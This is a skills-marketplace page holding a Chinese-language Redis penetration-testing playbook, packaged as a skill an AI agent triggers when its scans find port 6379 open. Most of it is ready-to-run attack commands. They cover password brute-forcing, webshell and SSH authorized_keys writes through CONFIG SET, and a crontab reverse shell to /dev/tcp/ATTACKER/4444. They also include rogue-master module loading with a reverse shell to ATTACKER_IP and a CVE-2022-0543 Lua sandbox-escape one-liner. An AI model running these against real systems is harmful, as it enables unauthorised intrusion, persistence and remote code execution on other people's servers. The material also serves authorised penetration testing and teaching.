Skip to main content

redis-pentesting

Redis 服务(6379 端口)渗透测试方法论。涵盖 Redis 服务发现、未授权访问、信息提取、写入 webshell、SSH 密钥写入、主从复制 RCE、Lua 沙箱逃逸。 当 Agent 扫描发现 6379 端口开放、需要测试 Redis 未授权访问、写入文件到目标、或利用 Redis 获取 RCE 时,触发此 Skill。

Source facts

Repository
wgpsec/AboutSecurity
Last source activity
October 15, 2026 at 06:58
Detected SKILL.md language
Chinese
Stars
1,790
Forks
248

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
2 files

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
redis-pentesting
description
Redis 服务(6379 端口)渗透测试方法论。涵盖 Redis 服务发现、未授权访问、信息提取、写入 webshell、SSH 密钥写入、主从复制 RCE、Lua 沙箱逃逸。 当 Agent 扫描发现 6379 端口开放、需要测试 Redis 未授权访问、写入文件到目标、或利用 Redis 获取 RCE 时,触发此 Skill。
metadata
{"tags":"redis,6379端口,未授权访问,webshell写入,主从复制rce","category":"exploit"}
# Redis 渗透测试方法论 (6379) ## 深入参考 - Redis RCE 技术、Lua 沙箱逃逸 CVE、SSRF 结合利用详情 -> 读 [references/redis-techniques.md](references/redis-techniques.md) --- ## 整体决策树 ``` 发现 6379 端口开放 ├─ Phase 1: 服务发现 │ ├─ Nmap 脚本扫描 -> 版本信息 │ ├─ 手动连接测试 (nc / redis-cli) │ └─ 是否需要认证? │ ├─ 无认证 -> 直接进入 Phase 3 │ └─ 需认证 -> Phase 2 ├─ Phase 2: 认证与爆破 │ ├─ 默认密码尝试 │ ├─ 爆破 (hydra / nmap / medusa) │ └─ AUTH <username> <password> ├─ Phase 3: 信息提取 │ ├─ INFO -> 系统信息、版本、内存、keyspace │ ├─ CONFIG GET * -> 配置信息 (目录、文件名) │ ├─ CLIENT LIST -> 连接客户端 │ └─ 数据库遍历 -> SELECT / KEYS * / GET ├─ Phase 4: 文件写入利用 │ ├─ Webshell 写入 (需知 Web 根目录) │ ├─ SSH authorized_keys 写入 │ ├─ Crontab 写入 │ └─ 模板引擎覆盖 ├─ Phase 5: 主从复制 RCE │ ├─ redis-rogue-server -> 自动化 RCE │ └─ 手动 SLAVEOF + MODULE LOAD ├─ Phase 6: Lua 沙箱逃逸 │ ├─ CVE-2022-0543 (Debian/Ubuntu lua 库逃逸) │ ├─ CVE-2025-49844 (parser UAF) │ ├─ CVE-2025-46817 (unpack 整数溢出) │ └─ CVE-2025-46818 (元表跨用户代码执行) └─ SSRF 场景 └─ 通过 SSRF 与 Redis 通信 (CRLF 注入) ``` --- ## Phase 1: 服务发现 ### 1.1 自动枚举 ```bash # Nmap Redis 信息脚本 nmap --script redis-info -sV -p 6379 <IP> # Metasploit msf> use auxiliary/scanner/redis/redis_server ``` ### 1.2 手动连接 ```bash # nc 直接连接 nc -vn <IP> 6379 # redis-cli 连接 redis-cli -h <IP> # 第一个命令: INFO # 如果返回 -NOAUTH Authentication required. 则需要认证 ``` --- ## Phase 2: 认证与爆破 ### 2.1 Redis 认证机制 Redis 默认无认证。可配置仅密码 (`requirepass`) 或用户名+密码 (`masteruser`)。 ```bash # 认证命令 AUTH <password> AUTH <username> <password> # 成功返回 +OK ``` ### 2.2 凭据攻击决策树 ``` 认证测试 ├─ 直接连接 -> INFO │ ├─ 返回信息 -> 无需认证 -> Phase 3 │ └─ 返回 -NOAUTH -> 需要认证 ├─ 爆破 │ ├─ hydra -P passwords.txt redis://<IP> │ ├─ nmap --script redis-brute -p 6379 <IP> │ └─ medusa -h <IP> -P passwords.txt -M redis └─ 认证成功 └─ 进入 Phase 3 ``` --- ## Phase 3: 信息提取 ### 3.1 基础信息收集 ```bash INFO # 系统、版本、内存、keyspace 信息 CLIENT LIST # 当前连接的客户端 CONFIG GET * # 获取所有配置 CONFIG GET dir # 当前工作目录 (文件写入关键) CONFIG GET dbfilename # 数据库文件名 ``` ### 3.2 数据库遍历 ```bash INFO keyspace # 查看哪些数据库有数据 SELECT <db_number> # 切换数据库 (从 0 开始) KEYS * # 列出所有键 GET <key> # 获取字符串值 TYPE <key> # 获取键类型 LRANGE <key> 0 -1 # 列表类型 HGETALL <key> # 哈希类型 DUMP <key> # 序列化导出 ``` ### 3.3 实时监控 ```bash MONITOR # 实时监控所有命令 (可捕获凭据) SLOWLOG GET 25 # 最慢的 25 条查询 ``` --- ## Phase 4: 文件写入利用 ### 4.1 写入决策树 ``` CONFIG GET dir 获取当前目录 ├─ 有 Web 服务 │ └─ Webshell 写入 │ ├─ CONFIG SET dir /usr/share/nginx/html │ ├─ CONFIG SET dbfilename redis.php │ ├─ SET test "<?php phpinfo(); ?>" │ └─ SAVE ├─ 有 SSH 服务 │ └─ SSH 密钥写入 │ ├─ 生成 SSH 密钥对: ssh-keygen -t rsa │ ├─ 写入公钥: SET ssh_key "\n\n<公钥内容>\n\n" │ ├─ CONFIG SET dir /var/lib/redis/.ssh (或 /home/<user>/.ssh) │ ├─ CONFIG SET dbfilename authorized_keys │ └─ SAVE ├─ Linux 系统 │ └─ Crontab 写入 │ ├─ SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n" │ ├─ CONFIG SET dir /var/spool/cron/crontabs/ (Ubuntu) │ │ 或 CONFIG SET dir /var/spool/cron/ (CentOS) │ ├─ CONFIG SET dbfilename root │ └─ SAVE └─ 模板引擎环境 └─ 覆盖模板文件 -> 注入模板表达式 -> RCE ``` ### 4.2 Webshell 写入 ```bash redis-cli -h <IP> > CONFIG SET dir /usr/share/nginx/html > CONFIG SET dbfilename redis.php > SET test "<?php phpinfo(); ?>" > SAVE ``` ### 4.3 SSH 密钥写入 ```bash # 1. 生成密钥 ssh-keygen -t rsa -f /tmp/redis_rsa # 2. 导入公钥到 Redis (echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key # 3. 写入 authorized_keys redis-cli -h <IP> > CONFIG SET dir /var/lib/redis/.ssh > CONFIG SET dbfilename authorized_keys > SAVE # 4. SSH 登录 ssh -i /tmp/redis_rsa redis@<IP> ``` --- ## Phase 5: 主从复制 RCE ### 5.1 原理 将目标 Redis 设为攻击者控制的 master 的 slave,通过复制推送恶意 .so 模块,然后加载执行。 ### 5.2 自动化利用 ```bash # redis-rogue-server — 自动获取 shell (Redis <= 5.0.5) ./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP> ``` ### 5.3 手动利用 ```bash # 1. 编译恶意模块 # https://github.com/n0b0dyCN/RedisModules-ExecuteCommand # 2. 让目标成为 slave redis-cli -h <TARGET> > SLAVEOF <ATTACKER_IP> 6379 # 3. 在攻击者 Redis 上设置模块数据 # 4. 加载模块 > MODULE LOAD /path/to/module.so > system.exec "id" > system.rev <ATTACKER_IP> 9999 # 5. 清理 > MODULE UNLOAD mymodule > SLAVEOF NO ONE ``` --- ## Phase 6: Lua 沙箱逃逸 ### 6.1 逃逸决策树 ``` Redis 版本已知 + 可执行 EVAL ├─ Debian/Ubuntu + Redis < 6.2.x 修补前 │ └─ CVE-2022-0543 — package.loadlib 逃逸 ├─ Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20 │ ├─ CVE-2025-49844 — Lua parser UAF (GC 竞态) │ ├─ CVE-2025-46817 — unpack 整数溢出 (DoS/内存耗尽) │ └─ CVE-2025-46818 — 元表污染 (跨用户代码执行) └─ 其他版本 └─ searchsploit redis lua ``` ### 6.2 CVE-2022-0543 ```bash # Debian/Ubuntu 特定: lua 库未正确沙箱化 redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 ``` --- ## SSRF 结合利用 当发现 SSRF 漏洞且目标内网有 Redis 时,可通过 SSRF 发送 Redis 命令: ``` SSRF + Redis ├─ Redis 为明文协议 -> 可通过 HTTP 请求注入命令 ├─ 利用 CRLF 注入构造 Redis 命令 └─ 典型场景: Gitlab SSRF + CRLF -> Redis queue -> RCE ```
View on GitHub